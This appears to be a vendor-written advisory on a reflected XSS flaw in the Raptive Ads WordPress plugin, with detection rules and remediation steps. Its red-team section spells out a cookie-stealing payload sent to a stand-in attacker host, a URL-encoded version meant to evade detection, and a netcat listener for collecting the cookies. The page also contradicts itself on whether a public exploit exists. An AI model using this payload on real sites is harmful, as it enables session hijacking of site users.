CVE-2024-13363
Executive Summary
CVE-2024-13363 is a reflected Cross-Site Scripting (XSS) vulnerability in the Raptive Ads plugin for WordPress, affecting all versions up to and including 3.6.3. The flaw resides in insufficient input sanitization and output escaping of the poc parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress ecosystem. The vulnerability is classified as medium severity (CVSS 6.1) with no known public exploit or patch at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the Raptive Ads WordPress plugin. It does not affect Apache, Nginx, or core WordPress. The attack vector relies on tricking a WordPress site administrator or user into clicking a malicious link, which then executes the injected script in the context of the vulnerable site.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – unauthenticated.
- User Interaction (UI): Required – victim must click a link.
- Scope (S): Changed – impact extends beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited content manipulation.
- Availability (A): None – no denial-of-service impact.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the plugin’s widespread use in ad-heavy WordPress sites elevate the threat for targeted campaigns.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the poc parameter of the Raptive Ads plugin. The plugin likely processes this parameter without proper validation or escaping, allowing an attacker to inject JavaScript or HTML. When a victim clicks a crafted URL, the injected script executes in the victim’s browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
Root Cause: The plugin fails to sanitize user input from the poc parameter and does not escape output before rendering it in the HTTP response. This is a common oversight in WordPress plugin development, where parameters are often assumed to be safe.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?poc=<script>alert('XSS')</script> - Attacker lures a victim (e.g., via phishing email or social media) to click the link.
- The victim’s browser sends a request to the vulnerable WordPress site.
- The Raptive Ads plugin processes the
pocparameter and reflects it in the response without sanitization. - The injected script executes in the victim’s browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions as the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (hypothetical)
$poc = $_GET['poc'];
echo "<div class='raptive-ad'>$poc</div>";
A patched version would use proper escaping:
// Patched code (hypothetical)
$poc = sanitize_text_field($_GET['poc']);
echo "<div class='raptive-ad'>" . esc_html($poc) . "</div>";
The sanitize_text_field() function strips malicious tags, and esc_html() encodes HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Raptive Ads plugin version <= 3.6.3.
- A victim with an active session on the site.
Exploit Steps:
- Craft a malicious URL:
https://victim-site.com/?poc=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Encode the payload to avoid detection:
https://victim-site.com/?poc=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via email or social engineering.
- When the victim clicks, the script executes and sends their cookies to the attacker’s server.
Lab Setup:
- Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
- Set up a simple HTTP server to capture cookies (e.g.,
nc -lvnp 80or a PHP script).
Blue Team (Detection & Prevention)
Detection:
- Monitor web server logs for requests containing
poc=followed by script tags or encoded JavaScript. - Use WAF rules to block requests with suspicious
pocparameter values.
Prevention:
- Disable the Raptive Ads plugin until a patch is available.
- Implement a Web Application Firewall (WAF) with XSS signatures.
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Pattern:
?poc=<script>or?poc=%3Cscript%3E - HTTP Request: GET requests to WordPress pages with
pocparameter containing JavaScript. - Log Entries:
GET /?poc=<script>alert(1)</script>in access logs. - Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
Detection Engineering
YARA Rule
rule CVE_2024_13363_Raptive_Ads_XSS {
meta:
description = "Detects reflected XSS attempts against Raptive Ads plugin CVE-2024-13363"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13363"
strings:
$poc_param = "poc=" nocase
$script_tag = /<script[^>]*>/i
$encoded_script = /%3Cscript%3E/i
condition:
$poc_param and ($script_tag or $encoded_script)
}
Sigma Rule
title: Reflected XSS via Raptive Ads Plugin poc Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-13363 in Raptive Ads plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "poc="
cs-uri-query|contains|all:
- "<script"
- ">"
condition: selection
falsepositives:
- Legitimate use of "poc" parameter with non-malicious content (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13363 Raptive Ads Reflected XSS Attempt"; flow:to_server,established; content:"poc="; http_uri; content:"<script"; http_uri; nocase; sid:10000001; rev:1; reference:cve,2024-13363;)
Remediation & Mitigation
Immediate Actions:
- Disable the Raptive Ads plugin until a patch is released.
- Implement a WAF rule to block requests containing
poc=<scriptor encoded variants. - Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor (Raptive) must release a patched version that sanitizes the
pocparameter usingsanitize_text_field()and escapes output withesc_html(). - Users should update to the latest version once available.
Workaround:
- Add the following to
.htaccessto block maliciouspocrequests:RewriteCond %{QUERY_STRING} poc=.*<script [NC] RewriteRule .* - [F,L]
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.